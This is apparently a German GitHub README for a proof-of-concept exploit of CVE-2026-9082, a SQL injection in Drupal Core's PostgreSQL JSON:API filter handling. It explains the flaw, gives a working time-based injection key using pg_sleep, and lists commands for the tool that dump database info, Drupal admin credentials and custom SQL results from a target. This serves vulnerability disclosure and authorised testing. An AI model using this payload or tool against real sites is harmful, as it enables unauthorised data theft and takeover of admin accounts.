CVE-2026-9082 - Drupal Core PostgreSQL SQL Injection PoC

Drupal-Logo

Übersicht

Dieses Repository stellt einen ethischen Proof-of-Concept (PoC) für CVE-2026-9082 bereit, eine hochkritische SQL-Injection Schwachstelle in Drupal Core, die alle PostgreSQL-basierten Websites mit Drupal 8.0 bis 11.3.9 betrifft.

Der Fehler befindet sich im PostgreSQL Entity Query Condition Handler und kann von anonymen (nicht authentifizierten) Benutzern über das JSON:API-Modul ausgenutzt werden, das standardmäßig seit Drupal 9 aktiviert ist.

Offizielles Advisory: SA-CORE-2026-004

Schwachstellenzusammenfassung

Drupal Core enthält eine Datenbankabstraktions-API, die Abfragen bereinigt und SQL-Injection verhindern soll. Ein Fehler in der PostgreSQL-spezifischen Entity Query Condition-Klasse (core/modules/pgsql/src/EntityQuery/Condition.php) erlaubt es einem Angreifer, beliebiges SQL über benutzergesteuerte Array-Schlüssel einzuschleusen, die über JSON:API-Filterparameter übergeben werden.

CVE-ID: CVE-2026-9082
Advisory: SA-CORE-2026-004
Betroffene Software: Drupal Core
Betroffene Versionen: 8.0.0 – 11.3.9 (nur PostgreSQL-Backend)
Behoben in: 11.3.10, 11.2.12, 10.6.9, 10.5.10
Schweregrad: Hochkritisch — 20/25 auf der Drupal-Risikoskala
Authentifizierung: Keine erforderlich (anonym)
Auswirkung: Datenexfiltration, Privilegieneskalation, RCE in manchen Konfigurationen
Angriffsvektor: HTTP — JSON:API-Filterbedingungs-Array-Schlüssel

Funktionsweise

Die Methode translateCondition() in der PostgreSQL-Condition-Klasse iteriert über $condition['value'] und verwendet die Array-Schlüssel, um PDO-Placeholder-Namen zu erstellen:
$where_id = $where_prefix . $key;
JSON:API erlaubt anonymen Benutzern, Filterwerte mit beliebigen Array-Schlüsseln über URL-Parameter zu übergeben:
filter[x][condition][value][MALICIOUS_KEY]=val
PDO-Placeholder bestehen nur aus [a-zA-Z0-9_]-Zeichen. Wenn der Schlüssel ) enthält, stoppt PDO das Parsen des Placeholder-Namens — alles danach wird als literal SQL in die Abfrage eingeschleust.
Durch Senden eines Schlüssels wie 1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--, schließt der Angreifer die IN()-Klausel und hängt beliebiges SQL an, während die Bindung für :prefix_1 durch einen legitimen Schlüssel 1 in derselben Anfrage erfüllt wird.

Referenzen & Danksagung

Advisory: SA-CORE-2026-004
Patch-Commit: ea9524d9
Entdecker: michaelmaturi (im Advisory genannt)

Rechtlicher Hinweis

Dieses Tool ist nur für autorisierte Sicherheitstests, Bildungszwecke und ethische Forschung bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal.

Installation

git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich

Verwendung (CLI)

# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check

# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version

# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo

# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin

# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables

# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"

# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool

# Interactive mode (no arguments)
python3 CVE-2026-9082.py

Autor

PoC entwickelt von 7h30th3r0n3
Schwachstelle entdeckt von michaelmaturi

CVE-2026-9082-Drupal-PoC

Beliebteste